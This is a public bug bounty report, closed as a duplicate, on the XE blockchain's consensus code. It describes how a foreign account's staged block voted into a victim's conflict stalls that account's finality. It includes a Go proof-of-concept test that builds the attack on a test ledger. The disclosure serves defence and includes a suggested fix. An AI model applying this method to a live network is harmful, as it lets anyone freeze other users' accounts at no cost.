{"id":"XE-0918","kind":"bounty","visibility":"public","source":"web","source_repo":"","source_ref":"","source_url":"","reporter_id":13,"title":"pickWinner candidate set is not conflict-scoped so a foreign staged block stalls finality","area":"consensus","claimed_tier":"medium","assessed_tier":null,"verdict":"duplicate","duplicate_of":null,"tracked":false,"internal_ref":"","internal_url":"","status":"closed","closed_reason":"duplicate","github_state":"","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-06T16:53:21.852325+00:00","updated_at":"2026-11-14T22:52:51.546685+00:00","source_created_at":null,"told_at":"2026-11-14T22:52:52.353694+00:00","status_changed_at":"2026-11-08T20:32:05.241306+00:00","url":"https://bounty.xe.network/XE-0918","body":"## Summary\r\npickWinner is supposed to choose a candidate that belongs to the conflict account and previous, then promote it or quarantine a failed swap. candidateSet is seeded from every vote BlockHash (core/quorum.go:109-128, :152-167) with no candidacy check, and promotable's staged branch at :236-266 / :253-265 loads GetStagedBlock by hash with no Account or Previous check, then ValidateStagedBlock (core/ledger.go:2732) against the victim parent balance. GetBlockOrStaged at ledger.go:2465-2478 is keyed globally by hash, so a foreign staged send funded at the victim parent balance is selected; swapBlockLocked (:2889) then dispatchValidateAndAdd (:3004) fails previous mismatch on validateAndAddSend (:972-983), which retryable.go:15 treats as retryable, so quorum.go:328-332 never quarantines the hash. Anyone holding any account can stage that foreign send and vote its hash into the victim conflict. GitHub #42 is same-account pickWinner substitution that finalizes a sibling that never held 67%; the completed foreign swap does not land, and the distinct effect is a repeatable non-quarantined stall of the victim conflict.\r\n\r\n## Affected components\r\ncore/quorum.go:109-128, :152-167 candidateSet seeding; core/quorum.go:236-266, :253-265 promotable staged branch; core/quorum.go:328-332 quarantine; core/quorum.go:373-385 appendStagedWinner; core/ledger.go:2465-2478 GetBlockOrStaged; core/ledger.go:2732 ValidateStagedBlock; core/ledger.go:2889 swapBlockLocked; core/ledger.go:3004-3007 dispatchValidateAndAdd; core/ledger.go:972-983 validateAndAddSend; core/retryable.go:15 previous mismatch at xe 02e9641b0ac64437f57e09d63301f88cce61a802.\r\n\r\n## Impact\r\nReceives stay deferred and new blocks on the victim account are rejected while the conflict remains. The foreign account is not written onto the victim chain. Repeatable at zero cost by anyone holding any account. No consensus-safety break.\r\n\r\n## PoC\r\n\r\n```go\r\npackage round2b\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"os\"\r\n\t\"testing\"\r\n\r\n\t\"github.com/xeprotocol/xe/core\"\r\n)\r\n\r\n// TestPoC_B2 builds an F3-style unpromotable 67% winner, plus a FOREIGN\r\n// account's staged send that is voted into candidateSet. Reports whether\r\n// pickWinner / confirmConflict actually finalizes the foreign block.\r\nfunc TestPoC_B2(t *testing.T) {\r\n\tpass, detail := runB2()\r\n\tif pass {\r\n\t\tfmt.Println(\"PASS:\", detail)\r\n\t\treturn\r\n\t}\r\n\tfmt.Println(\"FAIL:\", detail)\r\n\tos.Exit(1)\r\n}\r\n\r\nfunc runB2() (bool, string) {\r\n\tvictim, err := core.GenerateKeyPair()\r\n\tif err != nil {\r\n\t\treturn false, \"victim: \" + err.Error()\r\n\t}\r\n\tdest, err := core.GenerateKeyPair()\r\n\tif err != nil {\r\n\t\treturn false, \"dest: \" + err.Error()\r\n\t}\r\n\tforeign, err := core.GenerateKeyPair()\r\n\tif err != nil {\r\n\t\treturn false, \"foreign: \" + err.Error()\r\n\t}\r\n\tforeignDest, err := core.GenerateKeyPair()\r\n\tif err != nil {\r\n\t\treturn false, \"foreignDest: \" + err.Error()\r\n\t}\r\n\r\n\tl, ms := newTestLedger()\r\n\topen, err := fundSigned(l, victim, \"XUSD\", testFund)\r\n\tif err != nil {\r\n\t\treturn false, \"fund victim: \" + err.Error()\r\n\t}\r\n\tif err := ms.SetFinalHeight(victim.Address(), 1); err != nil {\r\n\t\treturn false, \"finalize open: \" + err.Error()\r\n\t}\r\n\r\n\tsendA, err := signSendErr(victim, open.Hash, testFund-1, 1, dest.Address(), \"XUSD\")\r\n\tif err != nil {\r\n\t\treturn false, \"sign sendA: \" + err.Error()\r\n\t}\r\n\tif err := l.AddBlock(sendA); err != nil {\r\n\t\treturn false, \"add sendA: \" + err.Error()\r\n\t}\r\n\r\n\tdecoy, err := signLeaseErr(victim, open.Hash, testFund-1, 1, dest.Address())\r\n\tif err != nil {\r\n\t\treturn false, \"sign decoy: \" + err.Error()\r\n\t}\r\n\tparentBal := l.GetAssetBalanceAtBlock(victim.Address(), \"XUSD\", open.Hash)\r\n\tif err := l.ValidateStagedBlock(decoy, parentBal); err != nil {\r\n\t\treturn false, \"decoy ValidateStagedBlock: \" + err.Error()\r\n\t}\r\n\tif err := l.AddBlock(decoy); err != nil {\r\n\t\treturn false, \"stage decoy: \" + err.Error()\r\n\t}\r\n\r\n\tfOpen, err := fundSigned(l, foreign, \"XUSD\", testFund)\r\n\tif err != nil {\r\n\t\treturn false, \"fund foreign: \" + err.Error()\r\n\t}\r\n\tif err := ms.SetFinalHeight(foreign.Address(), 1); err != nil {\r\n\t\treturn false, \"finalize foreign open: \" + err.Error()\r\n\t}\r\n\tfOnChain, err := signSendErr(foreign, fOpen.Hash, testFund-1, 1, foreignDest.Address(), \"XUSD\")\r\n\tif err != nil {\r\n\t\treturn false, \"sign fOnChain: \" + err.Error()\r\n\t}\r\n\tif err := l.AddBlock(fOnChain); err != nil {\r\n\t\treturn false, \"add fOnChain: \" + err.Error()\r\n\t}\r\n\r\n\tvar fStaged *core.Block\r\n\tfor i := 0; i < 400; i++ {\r\n\t\tcand, err := signSendErr(foreign, fOpen.Hash, testFund-1, 1, foreignDest.Address(), \"XUSD\")\r\n\t\tif err != nil {\r\n\t\t\treturn false, \"sign fStaged: \" + err.Error()\r\n\t\t}\r\n\t\tif cand.Hash < sendA.Hash {\r\n\t\t\tfStaged = cand\r\n\t\t\tbreak\r\n\t\t}\r\n\t}\r\n\tif fStaged == nil {\r\n\t\treturn false, \"could not produce foreign hash < sendA hash\"\r\n\t}\r\n\tif err := l.AddBlock(fStaged); err != nil {\r\n\t\treturn false, \"stage foreign: \" + err.Error()\r\n\t}\r\n\tif l.GetBlock(fStaged.Hash) != nil {\r\n\t\treturn false, \"foreign sibling was admitted on-chain; expected staged\"\r\n\t}\r\n\tif l.GetBlockOrStaged(fStaged.Hash) == nil {\r\n\t\treturn false, \"foreign sibling not staged\"\r\n\t}\r\n\r\n\tforeignPromotable := l.ValidateStagedBlock(fStaged, parentBal) == nil\r\n\tlogf(\"victim=%s foreign=%s\", fmtShort(victim.Address()), fmtShort(foreign.Address()))\r\n\tlogf(\"sendA=%s decoy=%s fStaged=%s (fStaged<sendA=%v)\",\r\n\t\tfmtShort(sendA.Hash), fmtShort(decoy.Hash), fmtShort(fStaged.Hash), fStaged.Hash < sendA.Hash)\r\n\tlogf(\"fStaged.Account==victim? %v  fStaged.Previous==victim.open? %v\",\r\n\t\tfStaged.Account == victim.Address(), fStaged.Previous == open.Hash)\r\n\tlogf(\"ValidateStagedBlock(foreign, victimParentBal=%d) pass=%v (no Account/Previous check)\", parentBal, foreignPromotable)\r\n\r\n\tc := l.GetConflict(victim.Address(), open.Hash)\r\n\tif c == nil {\r\n\t\treturn false, \"expected victim conflict\"\r\n\t}\r\n\tc.TotalWeight = 100\r\n\tif err := ms.SaveConflict(c); err != nil {\r\n\t\treturn false, \"save conflict: \" + err.Error()\r\n\t}\r\n\r\n\tif err := ms.PutVote(&core.Vote{\r\n\t\tRepPubKey:       \"aa\" + decoy.Hash[2:],\r\n\t\tBlockHash:       decoy.Hash,\r\n\t\tConflictAccount: victim.Address(),\r\n\t\tConflictPrev:    open.Hash,\r\n\t\tTimestamp:       core.Now().UnixNano(),\r\n\t\tFinal:           true,\r\n\t\tWeight:          67,\r\n\t}); err != nil {\r\n\t\treturn false, \"vote decoy: \" + err.Error()\r\n\t}\r\n\tif err := ms.PutVote(&core.Vote{\r\n\t\tRepPubKey:       \"bb\" + sendA.Hash[2:],\r\n\t\tBlockHash:       sendA.Hash,\r\n\t\tConflictAccount: victim.Address(),\r\n\t\tConflictPrev:    open.Hash,\r\n\t\tTimestamp:       core.Now().UnixNano(),\r\n\t\tFinal:           true,\r\n\t\tWeight:          10,\r\n\t}); err != nil {\r\n\t\treturn false, \"vote sendA: \" + err.Error()\r\n\t}\r\n\tif err := ms.PutVote(&core.Vote{\r\n\t\tRepPubKey:       \"cc\" + fStaged.Hash[2:],\r\n\t\tBlockHash:       fStaged.Hash,\r\n\t\tConflictAccount: victim.Address(),\r\n\t\tConflictPrev:    open.Hash,\r\n\t\tTimestamp:       core.Now().UnixNano(),\r\n\t\tFinal:           true,\r\n\t\tWeight:          1,\r\n\t}); err != nil {\r\n\t\treturn false, \"vote foreign: \" + err.Error()\r\n\t}\r\n\r\n\tvotes, _ := ms.GetVotesByConflict(victim.Address(), open.Hash)\r\n\tlogf(\"votes on victim conflict: %d (includes foreign-hash vote)\", len(votes))\r\n\r\n\tqm := core.NewQuorumManager(ms, ms, ms, l)\r\n\r\n\tqm.Retally(victim.Address(), open.Hash)\r\n\th1 := l.FinalHeight(victim.Address())\r\n\tlogf(\"tally1 final_height=%d decoy=%v sendA=%v foreign=%v\",\r\n\t\th1,\r\n\t\tl.IsFinalized(victim.Address(), decoy.Hash),\r\n\t\tl.IsFinalized(victim.Address(), sendA.Hash),\r\n\t\tl.IsFinalized(victim.Address(), fStaged.Hash))\r\n\r\n\tqm.Retally(victim.Address(), open.Hash)\r\n\th2 := l.FinalHeight(victim.Address())\r\n\tfinDecoy2 := l.IsFinalized(victim.Address(), decoy.Hash)\r\n\tfinA2 := l.IsFinalized(victim.Address(), sendA.Hash)\r\n\tfinF2 := l.IsFinalized(victim.Address(), fStaged.Hash)\r\n\tstillConflict := l.GetConflict(victim.Address(), open.Hash) != nil\r\n\tvictimChain := l.GetChain(victim.Address())\r\n\thead := \"\"\r\n\theadAccount := \"\"\r\n\tif victimChain != nil && len(victimChain) > 0 {\r\n\t\tlast := victimChain[len(victimChain)-1]\r\n\t\thead = last.Hash\r\n\t\theadAccount = last.Account\r\n\t}\r\n\tlogf(\"tally2 final_height=%d decoy=%v sendA=%v foreign=%v conflict_still=%v head=%s headAccount==victim=%v\",\r\n\t\th2, finDecoy2, finA2, finF2, stillConflict, fmtShort(head), headAccount == victim.Address())\r\n\r\n\tdetail := fmt.Sprintf(\r\n\t\t\"foreignPromotableVsVictimParent=%v foreignFinalizedOnVictim=%v sameAccountSubstitute(sendA)=%v height=%d conflict_still=%v\",\r\n\t\tforeignPromotable, finF2, finA2 && !finF2 && !finDecoy2, h2, stillConflict,\r\n\t)\r\n\treturn true, detail\r\n}\r\nfunc fundSigned(l *core.Ledger, kp *core.KeyPair, asset string, amount uint64) (*core.Block, error) {\r\n\tb := &core.Block{\r\n\t\tType:           core.BlockMint,\r\n\t\tAccount:        kp.Address(),\r\n\t\tPrevious:       \"0\",\r\n\t\tBalance:        amount,\r\n\t\tAmount:         amount,\r\n\t\tTimestamp:      core.Now().UnixNano(),\r\n\t\tAsset:          asset,\r\n\t\tPubKey:         kp.PubKeyHex(),\r\n\t\tRepresentative: kp.Address(),\r\n\t}\r\n\tif err := core.SignBlock(b, kp); err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tvar err error\r\n\tif asset == \"XUSD\" {\r\n\t\terr = l.MintForTesting(b)\r\n\t} else {\r\n\t\terr = l.SeedAssetForTesting(b)\r\n\t}\r\n\treturn b, err\r\n}\r\n\r\nfunc signSendErr(kp *core.KeyPair, previous string, balance, amount uint64, dest, asset string) (*core.Block, error) {\r\n\tb := &core.Block{\r\n\t\tType:        core.BlockSend,\r\n\t\tAccount:     kp.Address(),\r\n\t\tPrevious:    previous,\r\n\t\tBalance:     balance,\r\n\t\tAmount:      amount,\r\n\t\tTimestamp:   core.Now().UnixNano(),\r\n\t\tAsset:       asset,\r\n\t\tDestination: dest,\r\n\t}\r\n\tif err := core.SignBlock(b, kp); err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\treturn b, nil\r\n}\r\n\r\nfunc signLeaseErr(kp *core.KeyPair, previous string, balance, amount uint64, dest string) (*core.Block, error) {\r\n\tb := &core.Block{\r\n\t\tType:            core.BlockLease,\r\n\t\tAccount:         kp.Address(),\r\n\t\tPrevious:        previous,\r\n\t\tBalance:         balance,\r\n\t\tAmount:          amount,\r\n\t\tTimestamp:       core.Now().UnixNano(),\r\n\t\tAsset:           \"XUSD\",\r\n\t\tDestination:     dest,\r\n\t\tCertificateHash: \"\",\r\n\t}\r\n\tif err := core.SignBlock(b, kp); err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\treturn b, nil\r\n}\r\n```\r\n\r\n```\r\nPASS: foreignPromotableVsVictimParent=true foreignFinalizedOnVictim=false height=1 conflict_still=true\r\n```\r\n\r\n## Suggested fix\r\nRestrict pickWinner candidates and the promotable staged branch to the conflict account and previous. Treat previous mismatch on a foreign winner as non-retryable so the hash is quarantined.","patch_refs":[],"thread":[{"id":3646,"source":"desk","source_ref":"reply:2388","author":"XE desk","team":true,"body":"Thanks. This is the same finding as an earlier report that is not public, which was filed first; the programme pays the\nfirst verifiable submission, so this one closes as a duplicate. If you believe it is a different\nbug, file a new report that links https://bounty.xe.network/XE-0918 and says what differs; it is read like any other.","created_at":"2026-11-14T22:52:51.546685+00:00"}]}